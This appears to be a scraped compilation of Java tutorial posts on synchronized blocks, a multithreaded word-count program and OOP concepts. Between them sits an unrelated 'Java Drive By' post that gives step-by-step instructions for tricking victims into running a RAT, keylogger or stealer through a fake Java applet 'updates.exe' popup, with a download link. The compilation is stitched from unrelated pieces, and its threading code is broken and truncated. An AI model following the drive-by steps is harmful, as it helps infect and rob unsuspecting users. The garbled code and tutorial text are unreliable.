Synchronized block is alternative mechanism for "synchronized" methods.If we inherihate the non synchronized blocks either from base class or interface inface into our derived class and the inheriated non-synchronized method is trying to accessed by multiple threads then we get inconsistent result.To avoid this inconsistent result, the derived class programmer is attempting to write "synchronized" keyword before non synchronized method to make the method is synchronized which is not possible because one cannot change the prototype of base class methods in the context of derived class. Hence the synchronized method concept is unable to the solve the above problem therefore to solve the above problem for getting the consistence we use a concept called "synchronized blocks". Synchronized blocks must be always written in the definition of non-synchronized method.
syntax:
synchronized(object of current class){
//Block of statements;
}
It is not possible to override static methods but it is possible to override the instance methods.synchronized blocks must be always written in non-synchronized instance methods only.
Example:
package ip;public interface Account{
void deposit(int amt);
}
class SAccount implements Account{
int bal=0;
public void deposit(int amt){
synchronized(this){
bal = bal + amt;
System.out.println("user Account bal="+bal);
}
}
For hacking dudes, this will be another useful article. The Java Drive By is basically a fake web-client which automatically installs our executable files on victims machine Requirements :-
1) Java installed on victims computer
2) Evil brain 1)make a account on file average or other hosting 2)upload this java applet file----> http://www.easy-share.com/1910112267/Java_Applet.rar
3)upload your executable file rat loger stelaer etc
4)click on index=2 and edit it and put your exe link where PUT UR URL IS WRITTEN
5)check your site you'll see a new pop up of updates.exe if victims runs it boom he is infected EDITING A TEXT FILE IS GIVEN IN THE IMAGE.
Hi,
One of the most important concepts in java is Threads. If we want to master in java we need to have a sound knowledge in the concept of threads and programming of java using threads. I am going to explain this with an illustrative program; the following is the program about a text file containing large number of words. Our task is to divide the large text file into five smaller text files and we should be able to run 5 threads parallel on each of the 5 smaller files and finally to sum up the total number of words.
import java.io.*;
import java.util.*;
import java.text.*;
import java.lang.*;
class newThread1 implements Runnable
{
Thread t;
public static int vcount=0;
char ch[];
int i;
String process="";
newThread1(String pro)
{
t = new Thread(this);
process=pro;
t.start();
}
public void run()
{
try
{
for(int i=0;i<=10000;i++)
{
ch=process.toCharArray( );
if( (ch[i]==' ') )
{
vcount++;
}
}
}
catch (Exception e)
{}
}
}
class multithreading
{
static Scanner in ;
public static void main(String args[]) throws Exception
{
int vcount=0;
FileInputStream fis=new FileInputStream("sample.txt");
int c;
int n=1;
int b;
while((c=fis.read())!=-1)
if(((char)c==' '))
{
n++;
}
System.out.println(n);
fis.close();
in=new Scanner(new FileReader("sample.txt"));
String pro1="";
String pro2="";
String pro3="";
String pro4="";
String pro5="";
String pro="";
b=n/5;
System.out.println(b);
for(int i=0;i
{
if(i<=b)
{
FileOutputStream fos=new FileOutputStream("first.txt");
pro=in.next();
pro1=pro1+ ' ' +pro;
fos.write(pro1.getBytes());
pro="";
}
if((i>(b)) && (i<=(2*b)))
{
FileOutputStream fos=new FileOutputStream("second.txt");
pro=in.next();
pro2=pro2+ ' ' +pro;
fos.write(pro2.getBytes());
pro="";
}
if((i>(2*b)) && (i<=(3*b)))
{
FileOutputStream fos=new FileOutputStream("third.txt");
pro=in.next();
pro3=pro3+ ' ' +pro;
fos.write(pro3.getBytes());
pro="";
}
if((i>(3*b)) && (i<=(4*b)))
{
FileOutputStream fos=new FileOutputStream("fourth.txt");
pro=in.next();
pro4=pro4+ ' ' +pro;
fos.write(pro4.getBytes());
pro="";
}
if((i>(4*b)) && (i<=n))
{
FileOutputStream fos=new FileOutputStream("five.txt");
pro=in.next();
pro5=pro5+ ' ' +pro;
fos.write(pro5.getBytes());
pro="";
}
}
newThread1 o1=new newThread1(pro1);
newThread1 o2=new newThread1(pro2);
newThread1 o3=new newThread1(pro3);
newThread1 o4=new newThread1(pro4);
newThread1 o5=new newThread1(pro5);
try
{
o1.t.join();
o2.t.join();
o3.t.join();
o4.t.join();
o5.t.join();
}
catch (InterruptedException e)
{}
String s="count";
newThread1 o=new newThread1(s);
System.out.println("The total no. of words in the file : ");
System.out.print((o.vcount));
}
}
In the above program using the concept of threads the large text is broken into five small text files. These are compared using the string options which are mentioned in the program and finally they are added up using the join function.
Regards,
Karthik.
Object- Oriented Programming – An Introduction
OOPs Stands for object oriented programming. It is a very efficient langauge which remove the problems regarding procedural programming and its based on real life.
The first achievement of OOP towards better design and maintenance is the removal of ambiguity, OOP handles is the problem of non-flexibility of code.
Objects are software bundles of data and related procedures.
visual representation of a software object:
Encapsulation
Encapsulation is beneficial
Encapsulation is very efficient function of OOPs which provides the essential information to user and hided information which ic not valid for a normal user. In encapsulation functions and variables get in to a software and gives a good output.
- Modularity
- Information hiding
Messages
Message passing is a very ncie function of OOPs. Through this function different modules of a software can interact with each other and communicate with eash other.
When a software needs interaction of other module then it can send message to it and can get response.
Messaging
A Message with Parameters
Three components comprise a message:
- The object to whom the message is addressed (bicycle)
- The name of the method to be performed (changing gears) any parameters needed by the method (to a higher gear)
Messages is OOPs are beneficial.
A object in OOPs can do work only by communicating with other moduleks and objects & functions, so message passing supports all possible interactions between objects.
Objects don't need to be in the same process or even on the same machine to send and receive messages back and forth to each other.
Class
A class is a blueprint or prototype that defines the variables and the methods common to all objects of a certain kind.
The Term "Object"
In the real world it’s obvious that classes are not themselves the objects that they describe.
Then also occurs because many people use the term “object” inconsistently and use it to refer to both classes and instances.
The main difference between a class and an object is that objects are tangible, but a class is always intangible. You can’t see a class but you can always see an object.
The Benefits of Classes
Objects provide the benefit of modularity and information hiding. Classes provide the benefit of reusability
What is Inheritance?
Classes inherit state and behavior from their superclass. Inheritance provides a very helpful concept of code reusability.
Hierarchy of Classes
The Benefits of Inheritance
Subclasses provide specialized behaviors from the basis of common elements provided by the superclass. Through the use of inheritance, programmers can reuse the code in the superclass many times.
Programmers can implement superclasses that define "generic" behaviors (called abstract classes). The essence of the superclass is defined and may be partially implemented but much of the class is left undefined and unimplemented. Other programmers fill in the details with specialized subclasses.
Abstraction
In java, classes are used to categorize data in order to model real life systems. Abstraction is this process of categorizing data.
apstraction
Polymorphism
Polymorphism may be defined as the ability of related objects to respond to the same message with different, but appropriate, actions.
Polymorphism
Dynamic Binding
Binding refers to the linking of a procedure call to the code to be executed in response to the call.
Dynamic binding means that the code associated with a given procedure call is not known until the time of the call at run-time.
It is associated with polymorphism and inheritance.
Overloading
In Object Oriented Programming if a method depending on some information does different job at different times that method is overloaded .Overloading is nothing but a kind of polymorphism.
Example:
Suppose drawGraph() is a mechanism to draw a graph depending on the information provided,
- DrawGraph(): Draws a point at any random location.
- DrawGraph(point1, point2): Draws a line from point1 to point2
- DrawGraph(point1,point2,point3,point4): Draw a rectangle using these points.
Overriding
Inheritance is a mechanism of inheriting the traits of parents but some times some properties should be modified according to the need like a son inherits legs from his parents but his walking style is different. This is Overriding.
It is again a kind of polymorphism and very important in terms of dynamic decisions.
Benefits of OOP
Through inheritance, we can eliminate redundant code and extend the use of existing classes.
We can build programs from the standard working modules, which communicate with one another, rather than having to start writing the code from scratch. This leads to saving of development time and higher productivity.
The principle of data hiding helps the programmer to build secure programs that cannot be invaded by code in other parts of the program.
- It is possible to have multiple instances of an object to co-exist without any interference.
- It is possible to map objects in the problem domain to corresponding objects in the program.
- It is easy to partition the work in a project based on objects.
- The data-centered design approach enables us to capture more details of a model in implementable form.
- Object-oriented systems can be easily upgraded from small to large systems.
- Message passing techniques for communication between objects makes the interface descriptions with external systems much simpler.
- Software complexity can be easily managed.